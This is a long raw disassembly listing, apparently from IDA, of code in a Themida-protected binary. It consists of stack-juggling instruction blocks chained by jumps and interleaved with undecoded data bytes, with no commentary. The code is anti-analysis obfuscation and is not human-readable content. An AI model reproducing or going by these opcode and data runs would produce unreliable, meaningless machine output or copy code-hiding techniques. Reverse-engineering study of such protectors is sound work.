loc_515419:				; CODE XREF: Themida_:0051C27Cj
		xor	dl, al
		pop	eax
		not	dl
		push	ax
		mov	ah, 1Ch
		sub	dl, ah
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_51846E
; ---------------------------------------------------------------------------
		dd 6FE9842Ch
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515443:				; CODE XREF: Themida_:005116CBj
		shr	ebp, 8
		jmp	loc_51FEB7
; ---------------------------------------------------------------------------
		db 68h
		dd 3A4h, 5E6E9h, 8EFC100h, 334BE9h, 29ED8100h, 17A851Bh
		dd 7AE952F5h, 8BFFFFA5h, 7EE9241Ch, 81FFFFC6h, 0E753AFF2h
		dd 0BAE2E91Fh, 148B0000h, 4C48124h, 8B000000h, 8956240Ch
		dd 4C681E6h, 83000000h,	0FFE904C6h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51549B:				; CODE XREF: Themida_:00514A35j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shl	edx, 5
		jmp	loc_51D3A1
; ---------------------------------------------------------------------------
		dd 11DFB951h, 4A684FD6h, 8900001Bh, 2C81240Ch, 8A73C724h
		dd 0BB535A23h, 1696857h, 5606EBC1h, 0FFAEC7E9h,	0E9D629FFh
		dd 6E4Dh, 442ADEBAh, 6DF1E94Fh,	1431FFFFh, 8FB5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5154FA:				; CODE XREF: Themida_:00518A3Ej
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		sub	eax, 5C4017D3h
		push	ebx
		mov	ebx, 48B9724Ah
		jmp	loc_51F0A5
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFDEB6h
; ---------------------------------------------------------------------------


loc_515518:				; CODE XREF: Themida_:005110A8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 76815525h
		shr	eax, 3
		jmp	loc_51FE77
; ---------------------------------------------------------------------------


loc_51552B:				; CODE XREF: Themida_:005114F5j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	dx
		mov	dl, 0EAh
		mov	ch, dl
		mov	dx, [esp]
		add	esp, 2
		not	ch
		sub	ch, 0FFh
		dec	ch
		xchg	dh, ch
		sub	dh, 0FFh
		jmp	loc_5107C4
; ---------------------------------------------------------------------------


loc_515552:				; CODE XREF: Themida_:00513882j
		add	esp, 4
		sub	esi, ebp
		jmp	loc_51F387
; ---------------------------------------------------------------------------
		dd 0F7240C87h, 240C87D9h, 0FFC5835Dh, 3A9BE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51556E:				; CODE XREF: Themida_:0051A2B6j
		sub	eax, 4D906675h
		add	eax, 10407FA7h
		add	eax, 0F666335h
		jmp	loc_51E24B
; ---------------------------------------------------------------------------
		dw 0C568h
		dd 0E94C0067h, 0FFFFE95Ch, 68242C89h, 78F22133h, 4E8AE9h
		dd 65696800h, 24890000h, 24048324h, 0BB535904h,	77E7538Fh
		dd 0F7E9EBD1h, 5B000085h, 8106E6C1h, 121E01EEh,	4DCE816Ah
		dd 5527276Ch, 0CFDE9h, 243C8700h, 7B80E95Ch, 34FF0000h
		dd 0C4815B24h, 4, 6851C201h, 5F0D3256h,	0FFCA0159h, 83592434h
		dd 0F2E904C4h, 1FFFF5Fh, 52EA81CAh, 0FF632631h,	0C8B2434h
		dd 4C48324h, 815E5456h,	4C6h, 4EE8100h,	87000000h, 895C2434h
		dd 0E6892434h, 8D85E9h
		db 0
; ---------------------------------------------------------------------------


loc_515621:				; CODE XREF: Themida_:0050E0AEj
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_51B19F
; ---------------------------------------------------------------------------


loc_51564E:				; CODE XREF: Themida_:00518F13j
		push	32A0h
		jmp	loc_5169F7
; ---------------------------------------------------------------------------
		dd 4B06EBC1h, 0FFD2E4E9h, 148B66FFh, 4EC8324h, 0E9241C89h
		dd 0FFFF7E93h
; ---------------------------------------------------------------------------


loc_515670:				; CODE XREF: Themida_:0050CB97j
		xor	esi, 32C61B52h
		xor	esi, 71761E97h
		shr	esi, 1
		jmp	loc_51C8BA
; ---------------------------------------------------------------------------
		db 1
		dd 8B04247Ch, 20E9243Ch, 89FFFF6Fh, 35BB241Ch, 1043C38h
		dd 762D5BD8h, 0FF4C302Ah, 835B2434h, 0BD5504C4h, 4, 875DE801h
		dd 248B2404h, 53575224h, 698EBE56h, 0C68162BAh,	278806EFh
		dd 0A65EE9h, 242C8B00h,	4C481h,	61680000h, 89000021h, 15E9241Ch
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5156DF:				; CODE XREF: Themida_:0051C5C3j
		xor	edi, [esp]
		mov	esp, [esp]
		sub	dword ptr [esp+4], 14830130h
		jmp	loc_519CF9
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0E9240C87h, 0FFFF8666h, 61B0EE81h, 0EE812B11h, 21AE6F77h
		dd 0C2E9EE01h, 81000090h, 7FFDB0EFh, 834E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51571E:				; CODE XREF: Themida_:0051A77Bj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_5101B9
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 2434FF24h, 4C4835Eh, 81E18951h, 4C1h, 8786E900h
		dd 0BB53FFFFh, 5080529h, 815BDE09h, 484DF4F6h, 2FF68163h
		dd 814F1274h, 16569EEEh, 8BF3892Bh, 0C4832434h,	0E9DF2904h
		dd 0FFFFF6C3h, 0FF5E68E9h, 4C481FFh, 80000000h,	0F82096EFh
		dd 83241C8Bh, 545004C4h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 5924709Ah
		sub	edx, 22C617A4h
		shr	edx, 1
		inc	edx
		xor	edx, 19201435h
		add	edx, 0D9B5817h
		add	edx, 0F0556FA4h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	7142h
		mov	[esp], ecx
		push	esi
		mov	esi, 1C9559BAh
		push	edx
		push	54B775D8h
		pop	edx
		shl	edx, 8
		jmp	loc_51D7C3
; ---------------------------------------------------------------------------
		dw 0A82Dh
		dd 2D460411h, 0CE37140Ch, 581C4721h, 0FF5DF0E9h, 1B1925FFh
		dd 0B9510F45h, 48D762B6h, 0C55AE949h, 0E2C1FFFFh, 37C9E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51580E:				; CODE XREF: Themida_:00518299j
		push	ecx
		jmp	loc_51EA92
; ---------------------------------------------------------------------------


loc_515814:				; CODE XREF: Themida_:00518D84j
		pop	ecx
		sub	eax, 27BF21DFh
		jmp	loc_50E2EB
; ---------------------------------------------------------------------------
aZ4Su		db '4$\U[',0
		align 4
		dd 83685755h, 5F33CA04h, 0F781D7F7h, 0CC35FB78h, 2FE9FD89h
		dd 0AD00007Fh, 6168D831h, 8900004Dh, 0B3E92434h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_51584F:				; CODE XREF: Themida_:0050E4DDj
		push	dword ptr [esp]
		jmp	loc_517E7F
; ---------------------------------------------------------------------------


loc_515857:				; CODE XREF: Themida_:0050D891j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51D806
; ---------------------------------------------------------------------------
		dd 4C481h, 0BA520000h, 4, 0A34DE955h, 6866FFFFh, 896670EFh
		dd 0B252241Ch, 45CCE965h, 815F0000h, 1F7A8CC5h,	0E9515390h
		dd 0FB6h, 30A9F281h, 0C3E92C45h, 0B600005Fh, 0E5F68036h
		dd 0D5E9F528h, 53FFFFC0h, 0E26241BBh, 0B506E91Dh, 0E95E0000h
		dd 0FFFF9D51h, 0CA85C381h, 0DF01047Dh, 0FFC174E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5158D1:				; CODE XREF: Themida_:0050FF6Ej
		push	ebp
		push	ecx
		jmp	loc_51B317
; ---------------------------------------------------------------------------
		dd 0BA241489h, 494137C0h, 97E9D701h, 31FFFFFBh,	0E9EF31FDh
		dd 0ACD1h
; ---------------------------------------------------------------------------


loc_5158F0:				; CODE XREF: Themida_:005178A6j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_51C8ED
; ---------------------------------------------------------------------------


loc_5158F9:				; CODE XREF: Themida_:0050D596j
		add	eax, ebx
		pop	ebx
		mov	ebp, eax
		pop	eax
		neg	ebp
		add	ebp, 882C1CE1h
		sub	ecx, ebp
		pop	ebp
		shr	ecx, 1
		push	eax
		push	3BA78B2h
		pop	eax
		sub	ecx, eax
		pop	eax
		xor	ecx, 0E524F280h
		jmp	loc_51820C
; ---------------------------------------------------------------------------
aYvs		db 'YV]>',0
		align 4
		dd 0CDFEDD88h, 5966EB88h, 30FCF380h, 45B66DAh, 0ADF7E934h
		dd 7FB3FFFFh, 5B66D828h, 2434FF5Bh, 78E6E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51594E:				; CODE XREF: Themida_:0050FAD0j
		add	edi, 163E4675h
		xor	edi, 0B2568EF7h
		sub	edx, 3BF75F6Eh
		sub	edx, edi
		add	edx, 3BF75F6Eh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	edx, 337F3037h
		push	eax
		jmp	loc_514EE3
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0E9240433h, 0FFFFDC99h, 81D3F74Bh, 137AF9C3h, 5BDF298Fh
		dd 0FFCECCE9h, 0F30159FFh, 0E389535Eh, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 0E9240489h, 6208h
; ---------------------------------------------------------------------------


loc_5159B8:				; CODE XREF: Themida_:00520E2Fj
		xor	dword ptr [esp], 40181AB3h
		jmp	loc_51408F
; ---------------------------------------------------------------------------


loc_5159C4:				; CODE XREF: Themida_:0050FF78j
		push	ebp
		push	esi
		push	1A544886h
		pop	esi
		or	esi, 794B3C67h
		sub	esi, 6405399Dh
		jmp	loc_50EC20
; ---------------------------------------------------------------------------


loc_5159DD:				; CODE XREF: Themida_:00516746j
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_51646A
; ---------------------------------------------------------------------------


loc_5159F1:				; CODE XREF: Themida_:00513AC3j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 65031BF3h
		xor	ecx, 2BC04851h
		xor	ecx, 66E622ECh
		or	ecx, 28736D5Bh
		add	ecx, 0D78882A5h
		add	edx, ecx
		pop	ecx
		push	ecx
		jmp	loc_518CEC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9241489h, 1ED9h, 0B9240C89h, 4, 23E95156h,	8900008Dh
		dd 51BA2414h, 81678735h, 4F5454EAh, 1C28105h, 42000000h
		dd 0A9BB534Ah, 0E9327B78h, 0FFFF6732h
; ---------------------------------------------------------------------------


loc_515A5C:				; CODE XREF: Themida_:00518F55j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5162D9
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 5000000h, 7F3211AAh, 0AA2DE829h, 577F3211h
		dd 3C53E7BFh, 0BB95164h, 31334F29h, 240C8BCFh, 4C481h
		dd 0F7810000h, 5D815E53h, 7D219C2Dh, 19EA2D31h,	0F8297D6Dh
		dd 6D19EA05h, 219C057Dh, 3C8B317Dh, 4C48324h, 0EC83505Dh
		dd 99D9E904h, 50590000h, 266E9h, 2434FF00h, 0FF8E77E9h
		dd 7EE81FFh, 0E9162C1Ah, 0FFFF8ECAh, 0E9BFC680h, 5391h
		dd 81FFE983h, 851FCCC1h, 2DE98145h, 0C1343D6Eh,	0D2E906E1h
		dd 81FFFFB8h, 886ACDEAh, 5AD30128h, 0E9241C87h,	66EEh
		dd 74FF5658h, 0E95E0424h, 0FFFFD97Fh
; ---------------------------------------------------------------------------


loc_515B18:				; CODE XREF: Themida_:0051252Bj
		pop	ecx
		sub	[esp+4], ecx
		pop	ecx
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_50FC78
; ---------------------------------------------------------------------------
		dw 0C389h
		dd 2A612D58h, 0EA055F79h, 29052663h, 0A106E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515B3E:				; CODE XREF: Themida_:0051298Bj
		push	small 0
		sub	[esp], bl
		mov	bl, [esp]
		add	esp, 2
		xor	bl, 0Bh
		shr	bl, 6
		xor	bl, 0C9h
		add	ch, bl
		pop	ebx
		jmp	loc_50E294
; ---------------------------------------------------------------------------
		dd 5D8F75Fh, 22D422CEh,	34FFC601h, 0C4835824h, 5A36804h
		dd 2C890000h, 4EC8124h,	89000000h, 0CBF243Ch, 0E911B167h
		dd 3CF1h, 5E9C15Bh, 3BEBC981h, 3BE9465Eh, 89000094h, 0BDBA2414h
		dd 8714FF1Dh, 0B38FE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515BA6:				; CODE XREF: Themida_:00520AF7j
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_50E70B
; ---------------------------------------------------------------------------
		db 31h,	0DEh, 8Bh
		dd 0C483241Ch, 71DEE904h, 68660000h, 5D663EABh,	6866h
		dd 242C2966h, 4A17E9h, 5FFB2900h, 0A34EE9h, 5462BE00h
		dd 26E9009Ah, 31FFFF94h, 0D9015FFBh, 240C335Bh,	33240C31h
		dd 89E9240Ch
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515BF7:				; CODE XREF: Themida_:0050D25Aj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_51444A
; ---------------------------------------------------------------------------


loc_515C05:				; CODE XREF: Themida_:0050CABCj
		add	bl, 8
		sub	bl, ah
		jmp	loc_51C682
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2D5AD001h, 19C06CB5h, 0B505D801h, 0E919C06Ch, 7A0Ch
		dd 0C6FE50B6h, 0B551D6F6h, 3A39E961h, 0C4830000h, 4C28104h
		dd 81000000h, 4C2h, 24148700h, 7677E95Ch, 5F540000h, 8904EC83h
		dd 9BBD242Ch, 0E933B545h, 5C79h, 0B8505753h, 499F2CCBh
		dd 2C7B17BFh, 58C73124h, 3FF132BBh, 5FFB01EDh, 0FFCBC2E9h
		dd 1AE958FFh
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515C7F:				; CODE XREF: Themida_:00514895j
		xor	ebx, 17266F1Bh
		jmp	loc_52043A
; ---------------------------------------------------------------------------


loc_515C8A:				; CODE XREF: Themida_:0051ADADj
		shr	ecx, 2
		add	ecx, 1D0B1015h
		jmp	loc_521028
; ---------------------------------------------------------------------------
		dd 17E95966h, 5C000090h, 0FF841EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515CA5:				; CODE XREF: Themida_:0051210Aj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 39F22DC7h
		mov	esi, edi
		pop	edi
		push	ebp
		sub	esp, 4
		jmp	loc_512E9F
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0B5h
		dd 0E94BF12Bh, 0FFFFDDD6h, 8850C288h, 0E9E388D4h, 0FFFF6D1Eh
; ---------------------------------------------------------------------------


loc_515CD4:				; CODE XREF: Themida_:0051143Ej
		xchg	ebp, [esp]
		jmp	loc_513E08
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0C48104C4h, 4, 8B2434FFh,	0C4832404h, 4C48104h
		dd 51000000h, 9B01E9B9h, 1BC5E910h, 0AB680000h,	8B62C977h
		dd 0C4812434h, 4, 15330705h, 5CD90567h,	0F001073Eh, 3E5CD92Dh
		dd 33072D07h, 34FF6715h, 6DE95E24h, 89FFFFF1h, 405E0h
		dd 0C0830000h, 74FF5004h, 8F580424h, 96E92404h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515D47:				; CODE XREF: Themida_:0051CBF4j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_517F0B
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0B9h
		dd 815BB351h, 163E10C3h, 81CB0117h, 163E10EBh, 0BEE95717h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515D6F:				; CODE XREF: Themida_:0050F5AAj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_51961A
; ---------------------------------------------------------------------------


loc_515D8B:				; CODE XREF: Themida_:0051D40Dj
		mov	edi, esp
		add	edi, 4
		jmp	loc_50D3D0
; ---------------------------------------------------------------------------
aZhM		db 'Zhm',0
		align 2
		dw 489h
		dd 2434FF24h, 93ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_515DA9:				; CODE XREF: Themida_:0051CDD5j
		mov	[esp], ecx
		mov	ecx, 2
		jmp	loc_5137FD
; ---------------------------------------------------------------------------


loc_515DB6:				; CODE XREF: Themida_:0051E25Bj
		mov	[esp], ecx
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		dw 0C7BFh
		dd 0F72BB236h, 0C9F781D7h, 68415841h, 0
		dd 0DCFE9h, 24048100h, 4, 5D2434FFh, 306CE9h, 4C48300h
		dd 8B24048Fh, 0A0E92424h, 8FFFFFAAh, 248B2404h,	57E7E924h
		dd 815FFFFFh, 4ECh, 6E23E900h, 0F74FFFFFh, 82C781DFh, 89847475h
		dd 4C295FF9h, 0A4E90824h, 33000031h, 27E92414h,	0FFFF86h
		dd 24148BF3h, 0F04C483h, 8B66C0B6h, 6F682414h, 89000029h
		dd 0E9542414h, 895h, 0E958E730h, 0FFFFF048h, 47E9CB28h
		dd 8BFFFFC1h, 14892424h, 5787E924h, 0E950FFFFh,	7493h
		dd 240C8B66h, 0E904EC83h, 0A271h
; ---------------------------------------------------------------------------


loc_515E70:				; CODE XREF: Themida_:0050C05Fj
		pop	edx
		jmp	loc_510635
; ---------------------------------------------------------------------------
		dw 9C05h
		dd 14C5342h, 429C2DC8h,	0E3E94C53h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515E87:				; CODE XREF: Themida_:00511214j
		pop	ebx
		add	al, 38h
		jmp	loc_51AD7E
; ---------------------------------------------------------------------------
		db 1
		dd 5A042454h, 9F04E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_515E9A:				; CODE XREF: Themida_:0051E716j
		mov	ebx, 596E3A22h
		not	ebx
		xor	ebx, 0C290BE3Bh
		mov	esi, ebx
		pop	ebx
		add	esi, 1C2A1146h
		xor	esi, 0AAB383E5h
		sub	ebp, esi
		pop	esi
		pop	ecx
		push	ebx
		jmp	loc_50CB0E
; ---------------------------------------------------------------------------
		dd 3561EF81h, 0DF012238h, 0FFAA94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_515ECD:				; CODE XREF: Themida_:0051C0DAj
		push	eax
		jmp	loc_50CA1E
; ---------------------------------------------------------------------------


loc_515ED3:				; CODE XREF: Themida_:0050DDAAj
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 6FB1065h
		sub	ecx, 50133DABh
		add	ecx, 277B5EA4h
		inc	ecx
		jmp	loc_520835
; ---------------------------------------------------------------------------


loc_515EEE:				; CODE XREF: Themida_:00514CAFj
		add	esp, 4
		jmp	loc_51E78A
; ---------------------------------------------------------------------------
a_s		db '_;',0
		align 4
aVXbuih		db 'VBUih',0
		dd 29000000h, 815E2434h, 0FB508FE6h, 83C68176h,	2945534Dh
		dd 0DA015EF2h, 33AA68h,	243C8900h, 1729EBFh, 0A1E7815Ah
		dd 817F6A1Eh, 0D32708C7h, 6CE94F6Dh
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_515F3B:				; CODE XREF: Themida_:0051D8FFj
		mov	ebp, esp
		jmp	loc_50E2FD
; ---------------------------------------------------------------------------
		dw 4DBFh
		dd 31651850h, 0F0015FFEh, 0E12DE95Eh, 0F801FFFFh, 2404875Fh
		dd 3324248Bh, 0EEE9242Ch
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_515F63:				; CODE XREF: Themida_:0051213Cj
		mov	esp, [esp]


loc_515F66:				; CODE XREF: Themida_:00513056j
		push	ecx
		jmp	loc_512395
; ---------------------------------------------------------------------------


loc_515F6C:				; CODE XREF: Themida_:0051DE67j
		add	ecx, edi
		push	ebp
		mov	ebp, 2C611B00h
		xor	ebp, 18A21C62h
		jmp	loc_50F03F
; ---------------------------------------------------------------------------


loc_515F7F:				; CODE XREF: Themida_:00518AEFj
		xor	ebx, 3EE46AE5h
		jmp	loc_520AA1
; ---------------------------------------------------------------------------
		dw 0E945h
		dd 0FFFF65ABh, 3EEB815Fh, 0C15D9E5Ah, 0E3C104E3h, 2C38106h
		dd 817868F8h, 0C845E9EDh, 81DD0124h, 0C845E9C5h, 241C8B24h
		dd 4C481h, 2C330000h, 0B443E924h, 0EC81FFFFh, 4, 88240C89h
		dd 79E955D5h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_515FD3:				; CODE XREF: Themida_:00511F95j
		mov	ebx, 18F16D16h
		jmp	loc_5126EF
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 0E9FE0104h, 3CEBh
; ---------------------------------------------------------------------------


loc_515FE8:				; CODE XREF: Themida_:0050BB29j
		sub	esp, 4
		jmp	loc_51EF6C
; ---------------------------------------------------------------------------
		db 31h
		dd 241C8BD8h, 4C481h, 330D0000h, 0C147F612h, 7E2507E8h
		dd 562EDA57h, 0FFFBC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516011:				; CODE XREF: Themida_:0050D1DDj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_511D10
; ---------------------------------------------------------------------------


loc_516020:				; CODE XREF: Themida_:0051A151j
		mov	esi, 54C93CF4h
		shl	esi, 8
		push	edx
		mov	edx, 6A686E87h
		not	edx
		or	edx, 1D910867h
		push	esi
		jmp	loc_513136
; ---------------------------------------------------------------------------
		dd 56242C89h, 44505968h, 2434FF74h, 4C4815Eh, 81000000h
		dd 922C72E6h, 4EEE8100h, 0E9000000h, 0AB32h, 5C240C87h
		dd 25BFC381h, 3CE9238Dh, 8B000089h, 62E92404h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516077:				; CODE XREF: Themida_:0051D4EBj
		add	bl, al
		add	bl, 7Ah
		add	bl, 85h
		push	eax
		mov	ah, 71h
		xor	ah, 1
		jmp	loc_50CAB6
; ---------------------------------------------------------------------------
		dw 34FFh
aYsV		db '$Y',0
		db 0
; ---------------------------------------------------------------------------


loc_516093:				; CODE XREF: Themida_:0051273Fj
		mov	[esp], ecx
		push	eax
		mov	eax, 5ED0195Ah
		jmp	loc_5199B2
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 9DE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5160A9:				; CODE XREF: Themida_:0051E79Cj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_50C6C8
; ---------------------------------------------------------------------------
		dd offset dword_545868
		dd 24148900h, 2B2E9h, 1C875900h, 0C3005C24h, 6804B450h
		dd 5F6h, 0B6241489h, 0B45051E2h, 58E18855h, 15A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5160E1:				; CODE XREF: Themida_:0051AB2Fj
		push	ecx
		mov	ecx, 7EBB0B73h
		and	ecx, 1A8457A9h
		xor	ecx, 2C88498Ah
		xor	ecx, 36084AAAh
		jmp	loc_51AC68
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 8CEA8026h, 885AD028h, 0D9F658C1h, 7FE9C9FEh,	5900006Ah
		dd 84713E2Dh, 53E80121h, 802320BBh, 6EBC120h, 482EE9h
		db 0
; ---------------------------------------------------------------------------


loc_516129:				; CODE XREF: Themida_:0051D0D9j
		pop	eax
		jmp	loc_51DC28
; ---------------------------------------------------------------------------
		db 68h
		dd 78D6h, 54240C89h, 57240C8Bh,	0B951E789h, 76294B23h
		dd 9DE9D9F7h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51614B:				; CODE XREF: Themida_:00510010j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	edx
		jmp	loc_512554
; ---------------------------------------------------------------------------
		dd 5DE9015Eh, 2474FF51h, 88E95904h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51616B:				; CODE XREF: Themida_:0050F762j
		pop	edi
		sub	edi, 517E2B93h
		jmp	loc_517258
; ---------------------------------------------------------------------------
		db 80h
		dd 0CFFE0EC7h, 0FFA7F2E9h, 3FEB81FFh, 15E6D2Dh,	7E46E9CBh
		dd 0AEBEFFFFh, 29E41669h, 0FA75E9F2h, 0C483FFFFh, 4EC8304h
		dd 89240489h, 40DF68E0h, 2C890000h, 4BA5224h, 89000000h
		dd 0DFE95AD5h, 8100008Bh, 3ABACAh, 56F28720h, 0F7241487h
		dd 241487D2h, 50F2875Eh, 0BB1591B8h, 5150560Fh,	0C5100BB9h
		dd 0E9C8893Bh, 0FFFF8EF3h, 0B1240C89h, 59CA88D1h, 525AD028h
		dd 0FFC2CAE9h, 240489FFh, 0FF53E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5161FD:				; CODE XREF: Themida_:00510BFEj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_50BEB7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 610163F8h, 4FFF381h,	0DE012484h, 83241C8Bh, 0C68104C4h
		dd 2, 4EC81h, 34890000h, 2474FF24h, 24348B04h, 81E18951h
		dd 4C1h, 4C18100h, 0E9000000h, 9DD9h, 4C481h, 55520000h
		dd 662F5268h, 53E95D59h, 0C100008Fh, 0E83506E0h, 0F701B276h
		dd 0B4C6E9D8h, 0A0B6FFFFh, 885AF428h, 24048BE2h, 4C481h
		dd 0F32C0000h, 0D0286004h, 80A3B353h, 0FDE9FFC3h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_516287:				; CODE XREF: Themida_:00510292j
		push	eax
		push	321528F8h
		pop	eax
		or	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_51AEDF
; ---------------------------------------------------------------------------


loc_51629E:				; CODE XREF: Themida_:005126EAj
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4


loc_5162C0:				; CODE XREF: Themida_:0050C033j
		push	ebp
		jmp	loc_50B6EB
; ---------------------------------------------------------------------------
		dw 15BDh
		dd 311ACE0Eh, 0F6815DEEh, 26A947F6h, 0A36BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5162D9:				; CODE XREF: Themida_:00515A65j
		add	edi, 4
		jmp	loc_50BDC7
; ---------------------------------------------------------------------------
		dd 38D2C681h, 0DE01743Fh, 38D2EE81h, 0C681743Fh, 15A46E11h
		dd 56241C8Bh, 0C681E689h, 4, 2041E9h
		db 0
; ---------------------------------------------------------------------------


loc_516309:				; CODE XREF: Themida_:0050C4F6j
		and	ebp, 2271DFh
		shr	ebp, 4
		xor	ebp, 2271Ch
		mov	edi, ebp
		pop	ebp
		add	edx, edi
		jmp	loc_5163B6
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF6581h, 0E980C1FEh, 8BCF307Dh, 0C483240Ch, 0C67BE904h
		dd 5866FFFFh, 8450E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516342:				; CODE XREF: Themida_:00517AEDj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_518EED
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 14h
aVtsic		db '$VTC',0
		align 4
		dd 8904EC83h, 3368243Ch, 0E9000028h, 5D2h, 0F3005866h
		dd 0C9E95166h, 0FFFFFFB9h, 5A042474h, 10E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_51F22C
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aSc_1		db '\!',0
		align 2


loc_516396:				; CODE XREF: Themida_:0051ED95j
		pop	edi
		add	edx, edi
		jmp	loc_51D0DE
; ---------------------------------------------------------------------------


loc_51639E:				; CODE XREF: Themida_:00517D27j
		push	dword ptr [esp]
		jmp	loc_51775E
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0F66240Ch, 5166C8B6h, 522FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5163B6:				; CODE XREF: Themida_:0051631Dj
		pop	edi
		xchg	edx, [esp]
		jmp	loc_51244E
; ---------------------------------------------------------------------------
		db 68h
		dd 2AF4h, 54E5E9h, 81D3F700h, 1A4592EBh, 78EB815Bh, 897DFA95h
